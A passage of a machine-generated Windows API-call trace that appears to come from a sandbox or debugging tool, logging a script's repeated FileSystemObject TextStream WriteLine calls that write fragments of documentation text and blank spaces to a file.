This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.708] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.708] SysAddRefString () returned 0x0 [0148.708] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.708] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.708] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.708] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b588, pBstrHelpFile=0x249c8758f60*="鬰졵ɉ") returned 0x0 [0148.708] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876ae08, pBstrHelpFile=0x249c8758f60*="鬰졵ɉ") returned 0x0 [0148.709] malloc (_Size=0x8) returned 0x249c884ee30 [0148.709] malloc (_Size=0x72) returned 0x249c884a540 [0148.709] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x39, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" XP and is listed separately on this page. Synta \"") returned 56 [0148.709] malloc (_Size=0xac) returned 0x249c884ee60 [0148.709] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x56, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.709] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x56, _Source="\" XP and is listed separately on this page. Synta \"", _MaxCount=0x38 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"") returned 0x0 [0148.709] wcscat_s (in: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"", _SizeInWords=0x56, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.709] wcsncpy_s (in: _Destination=0x249ca4d3ece, _SizeInWords=0x53, _Source="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n", _MaxCount=0x52 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.709] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.709] free (_Block=0x249c884a540) [0148.709] free (_Block=0x249c884ee30) [0148.709] free (_Block=0x249c884ee60) [0148.709] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.709] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.709] SysReleaseString () returned 0x1 [0148.709] CoTaskMemFree (pv=0x249c87614f0) [0148.709] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.709] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.710] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.710] SysAddRefString () returned 0x0 [0148.710] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.710] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.710] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.710] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876ae08, pBstrHelpFile=0x249c8758f60*="馰졵ɉ") returned 0x0 [0148.710] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768c78, pBstrHelpFile=0x249c8758f60*="馰졵ɉ") returned 0x0 [0148.710] malloc (_Size=0x8) returned 0x249c884ed30 [0148.710] malloc (_Size=0x14) returned 0x249ca447730 [0148.710] _snwprintf_s (in: _DstBuf=0x249ca447730, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.710] malloc (_Size=0x4e) returned 0x249c884a540 [0148.710] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.710] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.710] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.710] wcsncpy_s (in: _Destination=0x249ca4d3f74, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.710] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.710] free (_Block=0x249ca447730) [0148.710] free (_Block=0x249c884ed30) [0148.710] free (_Block=0x249c884a540) [0148.711] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.711] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.711] SysReleaseString () returned 0x1 [0148.711] CoTaskMemFree (pv=0x249c8761b80) [0148.711] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.711] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.711] CoTaskMemAlloc (cb=0x28) returned 0x249c8761700 [0148.711] SysAddRefString () returned 0x0 [0148.711] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.711] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.712] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.712] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768c78, pBstrHelpFile=0x249c8758f60*="ꋰ졵ɉ") returned 0x0 [0148.712] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b0a8, pBstrHelpFile=0x249c8758f60*="ꋰ졵ɉ") returned 0x0 [0148.712] malloc (_Size=0x8) returned 0x249c884ecd0 [0148.712] malloc (_Size=0x14) returned 0x249ca447730 [0148.712] _snwprintf_s (in: _DstBuf=0x249ca447730, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.712] malloc (_Size=0x4e) returned 0x249c884a540 [0148.712] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.712] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.712] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.712] wcsncpy_s (in: _Destination=0x249ca4d3fbc, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.712] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.712] free (_Block=0x249ca447730) [0148.712] free (_Block=0x249c884ecd0) [0148.712] free (_Block=0x249c884a540) [0148.712] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.713] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.713] SysReleaseString () returned 0x1 [0148.713] CoTaskMemFree (pv=0x249c8761700) [0148.713] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.713] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.713] CoTaskMemAlloc (cb=0x28) returned 0x249c8761820 [0148.713] SysAddRefString () returned 0x0 [0148.713] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.713] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.713] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.713] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b0a8, pBstrHelpFile=0x249c8758f60*="鸰졵ɉ") returned 0x0 [0148.713] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876aaa8, pBstrHelpFile=0x249c8758f60*="鸰졵ɉ") returned 0x0 [0148.713] malloc (_Size=0x8) returned 0x249c884ecf0 [0148.713] malloc (_Size=0xae) returned 0x249c884ee60 [0148.713] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x57, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 86 [0148.713] malloc (_Size=0xe8) returned 0x249ca4d5de0 [0148.714] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x74, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.714] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x74, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _MaxCount=0x56 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 0x0 [0148.714] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _SizeInWords=0x74, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.714] wcsncpy_s (in: _Destination=0x249ca4d4004, _SizeInWords=0x71, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n", _MaxCount=0x70 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.714] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.714] free (_Block=0x249c884ee60) [0148.714] free (_Block=0x249c884ecf0) [0148.714] free (_Block=0x249ca4d5de0) [0148.714] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.714] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.714] SysReleaseString () returned 0x1 [0148.714] CoTaskMemFree (pv=0x249c8761820) [0148.714] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.714] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.714] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.715] SysAddRefString () returned 0x0 [0148.715] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.715] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.715] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.715] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876aaa8, pBstrHelpFile=0x249c8758f60*="饰졵ɉ") returned 0x0 [0148.715] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876abc8, pBstrHelpFile=0x249c8758f60*="饰졵ɉ") returned 0x0 [0148.715] malloc (_Size=0x8) returned 0x249c884edc0 [0148.715] malloc (_Size=0xd0) returned 0x249c884ee60 [0148.715] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x68, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 103 [0148.715] malloc (_Size=0x10a) returned 0x249ca4d5de0 [0148.715] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x85, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.715] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x85, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _MaxCount=0x67 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 0x0 [0148.715] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _SizeInWords=0x85, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.715] wcsncpy_s (in: _Destination=0x249ca4d40e6, _SizeInWords=0x82, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n", _MaxCount=0x81 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.715] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.715] free (_Block=0x249c884ee60) [0148.715] free (_Block=0x249c884edc0) [0148.715] free (_Block=0x249ca4d5de0) [0148.715] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), 